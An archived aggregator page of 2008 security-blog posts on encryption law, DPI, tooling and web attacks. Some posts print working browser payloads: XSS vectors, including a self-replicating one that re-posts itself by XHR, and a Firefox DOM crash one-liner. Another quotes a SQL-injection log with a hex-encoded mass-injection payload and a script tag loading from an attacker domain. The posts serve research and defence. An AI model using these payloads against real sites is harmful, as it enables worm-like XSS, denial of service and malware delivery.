Posted: January 27th, 2008, 4:32pm CST by RSnake

Tags: Random Security [edit]

There’s a really interesting case being talked about over at the Washinton Post regarding a man who is accused of having downloaded child pornography on his computer and then encrypting it using PGP. This actually has some pretty interesting and wide-reaching implications for citizens in the US. Either a) he has to release the password and self-implicate (assuming he is guilty) b) lie under oath or c) find himself under contempt. This is a tough one.

Personally, I’d feel very uncomfortable holding up freedoms to save a pedophile, but at the same time, there are all kinds of legitimate reasons I may want to encrypt data (I do it all the time for customers, for instance). But maybe a guy has cheated on his wife and doesn’t want anyone to know about it. Or maybe he has a furry fetish and has hopes for a political campaign some day. I’m pretty torn on this issue, unfortunately because regardless of the outcome it can end up being a bad thing. I wish I could call this one a cut and dry case. But either way the outcome will be worth finding out about because either it will be a matter of imprisonment for contempt or a safe haven for anyone doing anything illegal. This will be a landmark case for our industry in many ways, for good or for bad.

Ugh… either way this one leaves a bad taste in my mouth.

Rational Survivability

What a Shocker, Stiennon & I Disagree: Arbor + Ellacoya Make Total Sense...

Posted: January 25th, 2008, 3:16pm CST by beaker

Tags: Application Security [edit]

"Common sense has nothing to do with it. When I say he's wrong, he's wrong." -- Ethel Mertz, I Love Lucy.

What a surprise, I disagree totally with Richard Stiennon on his assessment of the value proposition regarding the acquisition of Ellacoya by Arbor Networks.

Specifically, I find it hysterical that Richard claims that Arbor is "abandoning the security space." Just the opposite, I believe Arbor -- given what they do -- is pursuing a course of action that will allow them to not only continue to cement their value proposition in the security space, but extend it further, both in the carrier and enterprise space.

I think that it comes down to what Richard defines as "security" -- a term I obviously despise for reasons just like this.

Here's we we diverge:
I was actually in Ann Arbor last week when news broke that Arbor Networks had acquired Ellacoya a so called ???deep packet inspection??? technology vendor. I was perplexed. That???s not security.
"That's not security." Funny. See below.
First let me clear up some terminology. ???Deep Packet Inspection??? was the term some Gartner analyst popularized to describe what content filtering gateways do. They inspect content for worms, attacks, and viruses. Somewhere along the line the traffic shaping industry(Ellacoya, Allot, Sandvine) co-opted the term to describe what their devices do: look at the packet header to determine what protocol is being transported and throttle the throughput based on protocol. In other words Quality of Service for network traffic. These devices do not look at payloads at all except in some rare instances when you have to determine if Skype-like programs are spoofing different protocols.
Firstly, Richard conveniently trivialized DPI. DPI is certainly about inspecting the packet (beyond the header, by the way) and determining what protocol and application that is being used with precision and fidelity. In a carrier network, that's used for provisioning, network allocation, bandwidth management and service level management.

These are terms every enterprise of worth is used to hearing and managing to!

Certainly a disposition once the packets are profiled could be to apply QoS which is often what one might do in DoS/DDoS situations, but there are multiple benefits of being able to apply policies and enact dispositions which are dependent on the use or misuse of a specific application or protocol.

In fact, if you don't think that this is "security" why do we see QoS/Rate limiting in almost every firewall platform today -- it may not show up in the GUI, but this is a fundamental way of dealing with attack.

Oh, by the way Richard, perhaps you ought to read your own product manuals as Fortinet provides QoS as a "security" function...perhaps not as robustly as Ellacoya...and soon Arbor:
FortiGate Traffic Shaping Technical Note

The FortiGate Traffic Shaping Technical Note, available on the Technical Documentation Web Site, discusses Quality of Service (QoS) and traffic shaping, describes FortiGate traffic shaping using the token bucket filter mechanism, and provides general procedures and tips on how to configure traffic shaping on FortiGate firewalls.

FortiOS v3.0 MR1introduced inbound traffic shaping per interface. For any FortiGate interface you can use the following command to configure inbound traffic shaping for that interface. Inbound traffic shaping limits the bandwidth accepted by the interface.

config system interface
edit port2
set inbandwidth 50
end
end

This command limits the inbound traffic that the port2 interface accepts to 50 Kb/sec. You can set inbound traffic shaping for any FortiGate interface and for more than one FortiGate interface. Setting inbandwidth to 0 (the default) means unlimited bandwidth or no traffic shaping.

Inbound traffic shaping limits the amount of traffic accepted by the interface. This limiting occurs before the traffic is processed by the FortiGate unit. Limiting inbound traffic takes precedence over traffic shaping applied using firewall policies. This means that traffic shaping applied by firewall policies is applied to traffic already limited by inbound traffic shaping.

Lot of uses of the word "firewall" in the context of "traffic shaping" in that description...Here's a link to your knowledge base, just in case you don't have it ;)

Secondly, since availability is often a function of security, as an administrator I'd want to be able to craft a "security policy" that allows me to make sure that the stuff that matters to me most gets through and is prioritized as such and the rest fight for scraps. Doing this with precision and fidelity is incredibly important whether you're a carrier or an enterprise. Oh, wait, here's some more Fortinet documentation that seems to contradict the "that's not security" sentiment:
Traffic shaping which is applied to a Firewall Policy, is enforced for traffic which may flow in either direction. Therefore a session which may be setup by an internal host to an external one, via a Internal->External policy, will have Traffic shaping applied even if the data stream is then coming from external to internal. For example, an FTP ???get??? or a SMTP server connecting to an external one, in order to retrieve email.
Remember CHKP's FloodGate? Never particularly worked out from an integration perspective, but a good idea, nonetheless. Cisco's got it. Juniper's got it...

Further, there's a new company -- you may have heard about it -- that takes application specificity and applies granular policies on traffic that does just this sort of thing: Palo Alto Networks. They call it their "next generation firewall." Love or hate the title (I don't particularly care for it) I call it common sense. Are you going to tell me this isn't security, either?

The next, next-generation of security devices will extend this decision-making criteria from ports/protocols through application "conduits" and start making decisions on content in context. This is the natural extension of DPI.

I won't argue with the rest of Richard's points about M&A risk and market expansion because he's right in many of his examples, but that wasn't the title of his post or the real sentiment.

I think that this deal enhances both the capabilities and applicability of Arbor's solutions which have been largely stovepiped and pigeonholed in the DDoS category based upon what they do today. I hope they can execute on the integration play.

As to the notion of ignoring the enterprise and "doubling down on the carrier market," Arbor has a great DDoS product for both markets; this allows them now to take advantage of the cresting consolidation activity in both and start diversifying their SECURITY offerings in a way that is intelligently roadmapped.

Who knows. Perhaps they'll re-market the combined products as a "multiservices security gateway" just like Fortinet does with their carrier products (here.)

I think your marketing slip is showing, Rich.

/Hoff

The Spanner

Unicode half and full width conversion

Posted: January 23rd, 2008, 5:55am CST by Gareth Heyes

Tags: Security [edit]

I’ve been reading a lot about unicode over the past few weeks and I decided to add full/half conversion into Hackvertor as a learning exercise. It’s useful for testing IDS systems because certain web servers automatically convert the characters into the normal ASCII range.

Check it out here:-
Unicode demo

You can even assign a custom prefix to the conversion allowing you to produce urlencoded escapes or javascript escapes, a demo of that is available here:-
Custom prefix
Update..
Modified the prefixes slightly to allow hex entities as well:-
Entity demo
Another update..
It supports direct conversion of characters now:-
Direct conversion

Web Security Blog

Yes, the Tide for Web Application Firewalls is Turning

Posted: January 22nd, 2008, 4:45am CST

Tags: Web Security [edit]

Some time ago I decided to start a new blog, a place where I would be able to address the topics that are not ModSecurity specific. I felt the ModSecurity Blog has its purpose and a happy audience; I didn't want for it to lose the focus. Today I made my first proper post at this new blog:

"There is a long-running tradition in the web application firewall space; every year we say: "This year is going to be the one when web application firewalls take off!" So far, every year turned out to be a bit of a disappointment in this respect. This year feels different, and I am not saying this because it's a tradition to do so. Recent months have seen a steady and significant rise in the interest in and the recognition of web application firewalls. But why is it taking so long?

To read more please continue to "Tide is turning for web application firewalls".

The Spanner

Code morphing

Posted: January 21st, 2008, 10:09am CST by Gareth Heyes

Tags: Security [edit]

I’ve been working on a small project with the eventual goal of producing random morphing javascript. It’s still early stages at the moment but I’d thought I’d release it now because then I might get some motivation to improve it. I plan to add this functionality into Hackvertor as well as Spambam in future.

At the moment the script has multiple modes, the random mode selects parts of the source to encode and the other modes allow you to continually encode Javascript. The main problem with continually encoding is that the size of the source increases each time, I’ve had some great suggestions from Ronald, Mario and sirdarckcat and I plan to incorporate these into the next release.
Bugs
This is early code so there are quite a few bugs, the random mode doesn’t work all the time because some encoding methods return errors. Variables mode doesn’t work correctly yet as there’s a slight bug. I also need to improve the regular expressions for matching functions and then encoding with unicode. The unicode mode will also support double or maybe even triple encoding using multiple evals to return the desired string, this might take a bit of work to do but I think it will be worth it

Check it out here:-
Code morpher

Michael Howard's Web Log

Windows Vista Crypto Modules now FIPS 140-2 Certified

Posted: January 18th, 2008, 3:01pm CST by michael_HOWARD

Tags: Security [edit]

The standard crypto providers such as DSSENH and RSAENH are now certified FIPS 140-2 on Windows Vista.

[csrc.nist.gov] has all the info.
Crispin Cowan joins the Windows Security Team!

Posted: January 17th, 2008, 10:11pm CST by michael_HOWARD

Tags: Security [edit]

I am delighted to announce that Crispin Cowan has joined the core Windows Security Team!

For those of you who don’t know Crispin, Crispin is responsible for a number of very well respected Linux-based security technologies such as StackGuard, the Immunix Linux distro, SubDomain and AppArmor. I’ve known Crispin for many years, and have nothing but the utmost respect for the guy. He’s well published, wicked smart, a non-zealot and brutally pragmatic. In my opinion, AppArmor is shining example of his pragmatism, it’s simple and it works. What excites me the most is he’ll bring a different perspective to the Windows team, and I’m a big believer in stirring the pot!

Crispin will work in the same team that worked on User Account Control (UAC) and integrity levels, an area he knows a great deal about.

Welcome to Microsoft, Crispin!

The Spanner

Hackvertor update

Posted: January 17th, 2008, 10:19am CST by Gareth Heyes

Tags: Security [edit]
Future plans
I’ve done a big change in the Hackvertor code to pave the way for some new features. In future I plan to create a web service were we can create/share Hackvertor tags for free. This will enable custom versions of Hackvertor for a specific task, for example we could have a SQL injection version, XSS version etc and they could all be developed and improved by the community. When the server side stuff is completed that’s what you can look forward to
Restructure
For now though I’ve restructured all tags into their own object for easy storage, most tags now extend the native String object to make reuse between tags much easier. This makes tag code much shorter because conversions can be chained together like ”.tobinary().zeroFill(16) etc. Using these methods I decided to create my own UTF-7 encode/decode tags [1] in javascript as a technical exercise to understand how UTF-7 works.

I’ve also redone the parameter options which now allow quotes; this enables Hackvertor tags to pass commas as arguments. The option menu has also been removed because more tags now have arguments it makes it much easier to customise each tag usage rather than searching through options.

In case you hadn’t noticed Hackvertor now takes external input, which allows you to share tags between friends and provide conversion examples or md5 hashes [2] for example. This can be accessed by simply clicking the HVURL button and it will base64 encode the current input and create you a HVURL to share.
Docs and examples
It’s quite complicated now and I’ve tried to reduce the clutter and make it as accessible as possible, the DOM object browser is now hidden by default to allow both input and output windows to be displayed next to each other and increased in size.
Tag parameters/arguments
Some tags accept additional options which are displayed in () when adding a tag, for example it’s possible to change if a hex_ent (hex entities) tag adds a semi-colon or not. To include commas in a parameter you need to enclose it with quotes, take the replace tag for example:-
Replace tag example
Tag list
Here I shall document each tag category and provide a example from each.

Encode (Converts every character in a string to the chosen encoding)
- base64 - Base64 encode a string (Uses Firefox’s native functions)
- hex_ent - Create Hexadecimal HTML entities from the string.
- dec_ent - Decimal HTML entities
- dec - Converts each character into a decimal escape
- hex - Creates a javascript hexadecimal string.
- uni - Converts to javascript unicode string.
- oct - Octal encoding
- urlenc - Javascript escape wrapper (Performs a standard urlencode)
- realurlenc - Custom urlencoder (Encodes all characters)
- htmlent - Converts standard HTML entities
- utf7 - Creates a UTF-7 encoded string to be used with character set attacks.
realurlenc tag example

Decode (Decodes a string that has been encoded)
- d_base64 - Decodes a base64 encoded string using Firefox’s native functions
- d_bin - Converts from binary
- d_dec - Decodes decimal escapes/HTML entities
- d_hex - Decodes hex entites or hex javascript escapes
- d_uni - Decodes unicode strings
- d_oct - Decodes octal escapes
- d_enc - Unescape wrapper (Decodes urlencoded string)
- d_realenc - Clone of d_enc tag added for clarity
- d_htmlent - Decode HTML entities
- 0d_utf7 - Decodes a UTF-7 encoded string
d_oct example

Filter Evasion (Tags used to test and bypass XSS filters)
- backslashesc - Javascript/CSS backslash escapes to obscure identifiers or functions
- backslashnulles - Same as above but with additional null characters
- backslashnzullesc - Same as above but with zero padded nulls
- toternary - Converts any string into a javascript ternary statements, each character is a separated and the entire string is enclosed in a anonymous function.
backslashesc example

String (String manipulation tags, javascript based functionality with additional extras)
- javachar - Converts the string into Java lang character codes
- tocharcodes - Converts to standard character codes
- fromcharcodes - Convert from character codes (separated with commas)
- dquote - Add double quotes to a string
- squote - Add single quotes to a string
- bticks - Adds backticks around a string
- js2str - Executes a javascript statement and returns the string
- stripnewlines - Removes new lines
- ucfirst - Converts the first letter of every word to uppercase
- upper - Converts to uppercase
- lower - Converts to lowercase
- mixed - Mixed case letters
- find - Find a string using regular expressions
- replace - Replaces the string with the arguments given
- splitjoin - Splits the string into pieces and then joins it together with the arguments specified.
- splitjointag - Same as above only instead of joining a character you can join with a tag
- repeat - Repeat the content of a tag specified in the argument amount
- reverse - Reverses the text
- length - Returns the length of the enclosed string
- substr - Return parts of the string specified in the arguments
Split join tag example (First parameter is the string to split, second is the join character and third is the tag to surround the result)

Fuzzing (Random character generation tags)
- randchars - Return a random set of characters with the amount specified in a parameter
- randnum - Same as above with numbers
- randletters - Random letters
- randletternums - Random letters and numbers
- nullents - Return a random null html entity character (Can be used to obscure function calls etc)
Random characters example

Hashing (Performs hashing functions on a string)
- md4 - Performs a MD4 hash of a string
- md5 - Performs a MD5 hash of a string
- sha1 - Performs a sha1 hash of a string
- sha2 - Performs a sha2 hash of a string
- hmac_md4 - Performs a hmac_md4 hash of a string uses a argument for the hmac key
- hmac_md5 - Performs a hmac_md5 hash of a string uses a argument for the hmac key
- hmac_sha1 - Performs a hmac_sha1 hash of a string uses a argument for the hmac key
sha1_hmac example

Convert (Conversion tags to perform numeric or other special conversions)
- bin - Convert the string to binary
- hex2rgb - Convert a HTML colour to RGB
- rgb2hex - Converts RGB colours to HTML hex colours
- dec2hex - Converts a number to hex
- dec2oct - Converts a number to octal
Dec2hex example

Common inputs (Tags to save time typing which are used frequently)
- c_js - Inserts the javascript: protocol string
- c_alert - Standard javascript alert
- c_script - Inserts a script tag
- c_eval - Javascript eval
- c_link - HTML link
- c_iframe - HTML iframe
- c_null - Inserts a null character
- c_tab - Inserts a tab character
- c_newline - Inserts a new line character
- c_maxunicode - Returns the maximum unicode character number
Tab example

XSS (Tags to be used creating XSS vectors)
- mozbindingcss - Creates a link to a XML file in CSS which can execute javascript
- mozbindingxml - Creates the standard XML which will execute javascript in CSS (Use in combination with the mozbindingcss tag)
- mozbindingexpression - Creates a cross compatible CSS vector which works on IE and Firefox
- image - Image based XSS
- script - External js file inclusion
- background - HTML background javascript XSS
- backgroundcss - CSS background javascript XSS
- cssexpression - IE CSS javascript
- flash - Flash XSS files
- data - Data protocol urls
mozbindingexpression example

SQL (SQL injection tags)
- sqlchr - Separates characters into a sqlchr statement
- sqlcomment - Creates a SQL statement with comments around letters to obscure common commands.
- sqlchar - Converts a string to hex and char SQL function calls
- sqlascii - Same as above but with ASCII
- sqlor - Creates a string from separated OR statements
- sqlhex - Creates a hex number from each character
SQL comment example

Date (Date based tags, quite sparse at the moment)
- date2timestamp - Converts a date into a UNIX timestamp
- timestamp2date - Converts a timestamp into a date
timestamp2date example

Encrypt (Encryption tags)
- caesar_enc - Caesar encryption arguments specifies the key
- morse_enc - Converts to morse code (I dunno why I’ve put this encryption but I couldn’t find a good spot for it)
- caesar_dec - Decrypts caesar encrypted data
- morse_dec - Decodes morse code
Morse code example
Keyboard shortcuts
CTL+SHIFT+Backspace
Clear Hackvertor

CTL+SHIFT+B
DOM Browser

CTL+SHIFT+C
Convert

CTL+SHIFT+E
Execute output

CTL+SHIFT+H
Test in HTML

CTL+SHIFT+I
Select input

CTL+SHIFT+O
Select output

CTL+SHIFT+S
Swap intput/output

CTL+SHIFT+T
Clear tags

CTL+SHIFT+U
Create URL
References
[1] UTF7
[2] MD5

Michael Howard's Web Log

Timely Microsoft Office 2003 SP3 Advice from David LeBlanc

Posted: January 16th, 2008, 3:43pm CST by michael_HOWARD

Tags: Security [edit]

[blogs.msdn.com]

The Spanner

DOM Da DOM

Posted: January 14th, 2008, 9:34am CST by Gareth Heyes

Tags: Security [edit]

I’ve seen many javascript libraries on the internet like Scriptaclous and JQuery which are superb at what they do but…I wanted a nice easy reference to the DOM functions and shortcuts. So I decided to build a little helper application which will allow you to quickly lookup the required function. The code is pretty basic at the moment but it will identify objects you write in the code window and in future I plan interaction between them through the menus.

Take a look at it here:-
DOM Da DOM

Any comments or suggestions are of course welcome.
Update…
Thijs Lensselink has kindly patched the code to fix a bug. Thanks Thijs, your help is very much appreciated. I plan to update the tool soon when I’ve finished a few other projects.
Exploiting PHP SELF

Posted: January 14th, 2008, 4:56am CST by Gareth Heyes

Tags: Security [edit]

Eric Butera emailed me with a very interesting topic about protecting against PHP_SELF exploits. I thought it might be a good idea to gather a few test cases demonstrating the problem. Why PHP allows these URL’s is beyond me and it wouldn’t take much work to filter out these malicious URL’s in the PHP code.

For any of you that don’t know, it’s possible to inject code into PHP_SELF. It works by supplying a “/” after the actual PHP file then entering your desired code. I’ve done 4 test cases which show how it’s possible to inject javascript and perform a redirect on code which doesn’t filter PHP_SELF correctly.
Test case 1
Injects data into a HTTP header, although this scenario is not very likely I thought I would include it to show that even running htmlentities or htmlspecialchars won’t save you from attack completely.
Test case 2
Shows how easy it is to inject XSS into links, this is very likely as many PHP applications ofter refer to the same page to change the current action/display.
Test case 3
A search page often includes references to PHP_SELF and can be exploited as easily as links.
Test case 4
Finally I show how code can be injected directly on the page without the need to break out of anything.

The test cases can be downloaded here:-
Test cases
Valid Javascript variables

Posted: January 13th, 2008, 9:23am CST by Gareth Heyes

Tags: Security [edit]

I’ve put together a simple script which will use the Javascript parser to find a list of valid variables. This information is useful to know when testing XSS filters or malicious javascript detection. Using these unusual variables I’ve manged to slip Javascript passed some very clever filters including the PHPIDS and Noscript.

Check it out here:-
Variable tester

Rational Survivability

Horrific Facebook Breach!

Posted: January 11th, 2008, 3:46pm CST by beaker

Tags: Security Breaches [edit]

I don't know what's happening behind the scenes at Facebook. Perhaps it's the manifest evils of Beacon victimizing humanity coming back to haunt them, but there's been a horrific breach over at Facebook.

I just don't feel safe there any longer.

I joined FB as a number of groups to which I belong and enjoy monitoring decided to leverage the mass pandemonium that is social netgawking and make their information available only on this populist portal.

So I log on today, fully expecting to check my hatching eggs, play a round of scrabulous and explain to yet another aging filipino male "philanthropist" that I'm really not a 16 year old Catholic school girl trolling for a good time when I discovered the harrowing news:
I'd been SuperPoked!

That's right.

I was eFingered right after being attacked with a drive-by Vampire tea bagging knee-bar and an inverted trout slap...and some "friend" decided to curse me with a Thunder Pinch and send me a Pink Sock as a gift.
Seriously, what the hell! When did we start talking like this? I just mastered Snoop Dogg's schizzle, yo! I can't keep up.

Most of the people that I am FB "friends" with are 30+ years old. What possible reason would any self-respecting "old person" have for superpoking, trout-slapping or thunder-pinching me? I've tried talking my wife into this stuff and it doesn't work unless I liquor her up. How do you think this is going to work on me?

Me!?

If you can't figure out how to revert to good old-fashioned email or IM, and speak 'murican, I don't want to talk to you.

No more hatching Jack-a-lopes. No more Roman Candles. No more Romanian Turtle Wedgies.

Screw this Web2.0 crap.

I'm going to play bowling on my Wii now.

/Hoff

Michael Howard's Web Log

Cry or Smile? You Decide...

Posted: January 11th, 2008, 1:59pm CST by michael_HOWARD

Tags: Security [edit]

On Wednesday Mark Curphey emailed me about a conversation his team had with a customer. I see he has now blogged about the conversation. Here's an excerpt.

When a customers [sic, you need to learn some simple grammar, Curphey!] development team was recently asked to use the AntiXSS library, validate input and encode output for their web interface they replied (and I quote) “we do not use cross site scripting”.

When Mark emailed me I didn't know whether I should laugh or cry. Seriously, I didn't know. I was blown away. With all the knowledge out there about security bugs, someone thought XSS was a valid feature.

Does this mean that all the good work done by so many people for so many years is just wasted effort?
"Open-source projects certified as secure" – huh?

Posted: January 10th, 2008, 7:35pm CST by michael_HOWARD

Tags: Security [edit]
I really got a chuckle out of this news item, especially this line:

“Coverity, which creates automated source-code analysis tools, announced late Monday its first list of open-source projects that have been certified as free of security defects.”

So we finally have the security silver bullet!

Run this tool on your code, fix the bugs, and you’re secure (and maybe unbreakable?!) I don’t think so.

There are three big problems with this line of thought:
1. First, the security bugs found are only the security bugs found by the tool, and that list is always smaller than the list of all bugs.
2. Second, it assumes that any new code or code changes are bug free. Which may or may not be true. In my experience, it is rarely true that new code is utterly bug free if you don’t take a holistic, process-oriented view to security.
3. Third, and this is probably the most important, at best the tool understands a subset of today’s vulnerabilities; that could all change tomorrow when a new class of vulnerability or a subtle variant is found.
The last point is important; security is a constantly evolving environment, and that's why we update the SDL regularly, to improve the process as we learn of new threats and design new defenses and mitigations.

Tools are very useful, we build a lot of tools, and use them all the time here at Microsoft. Some of those tools have found their way into our SDKs and Visual Studio so our customers can use them too. But I would never claim that these tools make code "free of security defects."

Rational Survivability

Thin Clients: Does This Laptop Make My Ass(ets) Look Fat?

Posted: January 10th, 2008, 4:35pm CST by beaker

Tags: Content Security [edit]
Juicy Fat Assets, Ripe For the Picking...

So here's an interesting spin on de/re-perimeterization...if people think we cannot achieve and cannot afford to wait for secure operating systems, secure protocols and self-defending information-centric environments but need to "secure" their environments today, I have a simple question supported by a simple equation for illustration:

For the majority of mobile and internal users in a typical corporation who use the basic set of applications:
1. Assume a company that:
  ...fits within the 90% of those who still have data centers, isn't completely outsourced/off-shored for IT and supports a remote workforce that uses Microsoft OS and the usual suspect applications and doesn't plan on utilizing distributed grid computing and widespread third-party SaaS
2. Take the following:
  Data Breaches. Lost Laptops. Non-sanitized corporate hard drives on eBay. Malware. Non-compliant asset configurations. Patching woes. Hardware failures. Device Failure. Remote Backup issues. Endpoint Security Software Sprawl. Skyrocketing security/compliance costs. Lost Customer Confidence. Fines. Lost Revenue. Reduced budget.
3. Combine With:
  Cheap Bandwidth. Lots of types of bandwidth/access modalities. Centralized Applications and Data. Any Web-enabled Computing Platform. SSL VPN. Virtualization. Centralized Encryption at Rest. IAM. DLP/CMP. Lots of choices to provide thin-client/streaming desktop capability. Offline-capable Web Apps.
4. Shake Well, Re-allocate Funding, Streamline Operations and "Security"...
5. You Get:
  Less Risk. Less Cost. Better Control Over Data. More "Secure" Operations. Better Resilience. Assurance of Information. Simplified Operations. Easier Backup. One Version of the Truth (data.)
I really just don't get why we continue to deploy and are forced to support remote platforms we can't protect, allow our data to inhabit islands we can't control and at the same time admit the inevitability of disaster while continuing to spend our money on solutions that can't possibly solve the problems.

If we're going to be information centric, we should take the first rational and reasonable steps toward doing so. Until the operating systems are more secure, the data can self-describe and cause the compute and network stacks to "self-defend," why do we continue to focus on the endpoint which is a waste of time.

If we can isolate and reduce the number of avenues of access to data and leverage dumb presentation platforms to do it, why aren't we?

...I mean besides the fact that an entire industry has been leeching off this mess for decades...

I'll Gladly Pay You Tuesday For A Secure Solution Today...

The technology exists TODAY to centralize the bulk of our most important assets and allow our workforce to accomplish their goals and the business to function just as well (perhaps better) without the need for data to actually "leave" the data centers in whose security we have already invested so much money.

Many people are doing that with the servers already with the adoption of virtualization. Now they need to do with their clients.

The only reason we're now going absolutely stupid and spending money on securing endpoints in their current state is because we're CAUSING (not just allowing) data to leave our enclaves. In fact with all this blabla2.0 hype, we've convinced ourselves we must.

Hogwash. I've posted on the consumerization of IT where companies are allowing their employees to use their own compute platforms. How do you think many of them do this?

Relax, Dude...Keep Your Firewalls...

In the case of centralized computing and streamed desktops to dumb/thin clients, the "perimeter" still includes our data centers and security castles/moats, but also encapsulates a streamed, virtualized, encrypted, and authenticated thin-client session bubble. Instead of worrying about the endpoint, it's nothing more than a flickering display with a keyboard/mouse.

Let your kid use Limewire. Let Uncle Bob surf pr0n. Let wifey download spyware. If my data and applications don't live on the machine and all the clicks/mouseys are just screen updates, what do I care?

Yup, you can still use a screen scraper or a camera phone to use data inappropriately, but this is where balancing risk comes into play. Let's keep the discussion within the 80% of reasonable factored arguments. We'll never eliminate 100% and we don't have to in order to be successful.

Sure, there are exceptions and corner cases where data *does* need to leave our embrace, but we can eliminate an entire class of problem if we take advantage of what we have today and stop this endpoint madness.

This goes for internal corporate users who are chained to their desks and not just mobile users.

What's preventing you from doing this today?

/Hoff

The Spanner

DOM DOS Firefox

Posted: January 9th, 2008, 3:56pm CST by Gareth Heyes

Tags: Security [edit]
Check this DOS in Firefox:-
```
<img src="" onerror="appendChild(cloneNode(appendChild(cloneNode(1))))">
```
There are many DOM related Firefox problems, this was one of the more interesting ones I found

Justice League

On Open Source

Posted: January 9th, 2008, 11:00am CST by gem

Tags: Software Security Touchpoints [edit]
There has been a recent flurry of activity regarding security assurance on a hush-hush open source mailing list I lurk on. The debate recently has to do with formal methods versus code scanning… apples and oranges in my view. However, there’s a new flurry of press over Coverity’s use of their tool to analyze well-known globs of open source. (One poster suggested that passing a scan like this with flying colors means security has been attained… argh!)

Some pointers:

From Slashdot
Posted by: kdawson, on 2008-01-09 01:20:00

Stony Stevenson alerts us to a US Department of Homeland Security program in which subcontractors have been examining FOSS source code for security vulnerabilities. InformationWeek.com takes a glass-half-empty approach to reporting the story, saying that for FOSS code [1]on average 1 line in 1000 contains a security bug. From the article: ‘A total of 7,826 open source project defects have been fixed through the Homeland Security review, or one every two hours since it was launched in 2006…’ ZDNet Australia prefers to emphasize those FOSS projects that [2]fixed every reported bug, thus achieving a clean bill of health according to DHS. These include PHP, Perl, Python, Postfix, and Samba.

Firstly, I am a big fan of code scanning and believe that use of static analysis tools should always be one of the basic security steps integrated into every SDLC. However, there are huge problems with declaring security after passing a code scan with an arbitrary tool and a random set of rules. The most obvious issue is that security defects come in two flavors—bugs and flaws—each accounting for roughly 50% of defects in practice. Code scanning tools can only find bugs. Here are two stupid examples for effect: can a code scanning tool determine that no user authentication was performed? How about whether or not a playback attack will work?

The second most obvious problem is that the list of rules enforced by a static analysis engine can never be complete. Discussion about this is left as an exercise for the reader.

Architectural risk analysis (crazily called “threat modeling” by Microsofties) is, like code scanning, an essential software security best practice. Formal methods are one way to go about attacking the flaw problem. In the US we rely on flakier heuristic-based approaches such as the one we use at Cigital. But no matter the approach, we can’t ignore the architecture.

References
1. [www.informationweek.com]
2. [www.zdnet.com.au]

The Spanner

DOM for hackers

Posted: January 9th, 2008, 5:25am CST by Gareth Heyes

Tags: Security [edit]
It’s amazing the stuff I’ve been finding recently, my browser has crashed more times than windoze. In this article I’ll introduce you to using the DOM for unexpected things and hacking it to your advantage. I’ve learned all this new stuff while hacking a vectors for the slackers XSS contest which is really fun.
Contents of a script tag
You can get the contents of a script tag within DOM like this:-
```
<script id="x">alert(document.getElementById('x').
childNodes.item(0).nodeValue)</script>
```
Replacing tags
It’s quite easy to replace one tag with another in ways the browser didn’t expect, check the following example:-
```
<form><iframe onload="parentNode.innerHTML=(s=parentNode.innerHTML)
.replace(/iframe/g,'input'),value=s" name="content"></iframe>
```
Posting forms
There are lots of shortcuts for posting forms with dom, here I show how to use a image tag to automatically create a form and post content.
```
<img src="" onerror="with(appendChild(createElement('form')))
submit(i=createElement('input'),i.name='content',i.value='1',
appendChild(i),action='post.php',method='post')">
```
Comment hacking
You can also get the contents of comments in DOM like this:-
```
<img src="" onerror="alert(previousSibling.nodeValue)">
```
Even evaluate the resulting string:-
```
<img src="" onerror="eval(previousSibling.nodeValue)">
```
Entity hacking
You can also do the same with entities
```
&Hello<img src="" onerror="alert(previousSibling.nodeValue.replace('&',''))">
```
and even this:-
```
&iframe onload=alert(1)><img src="" onerror="innerHTML=previousSibling.nodeValue.replace('&','<')">
```
Self referencing code
You can get the contents of a attribute and create a self referencing tag that requires no parent:-
```
<img src="" onerror="alert('XSS');with(new XMLHttpRequest)open('POST','post.php'),
send('content='<img src=%22%22 onerror=%22'+attributes[0].nodeValue+'%22>')">
```
This example uses a XHR object to perform a post, the XHR portion of this vector was constructed by a lot of cool people on the slackers XSS contest.

Here’s another example that I discovered:-
```
<img src="" onerror="appendChild(cloneNode(0));alert(innerHTML)">
```
DOM recursion
Finally it’s also possible to make a tag clone itself onto itself:-
```
<img src="" onerror="appendChild(cloneNode(1))">
```

Michael Howard's Web Log

VBootkit vs. Bitlocker in TPM mode

Posted: January 8th, 2008, 10:05pm CST by michael_HOWARD

Tags: Security [edit]

One of the guys in our group, Robert Hensing has an interesting post about VBootkit and whether BitLocker in TPM offers any defense. Short answer: yes, it does. Slightly longer answer: The BitLocker guys anticiated this attack and the really long answer is in his post.

Chalk up another one for Vista :)

Web Security Blog

SQL Injection Attack Infects Thousands of Websites

Posted: January 8th, 2008, 4:51pm CST

Tags: Web Security [edit]

Here is a snippet from the just released SANS NewsBites letter:

"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

Additional coverage is available from several places:

So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.

While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
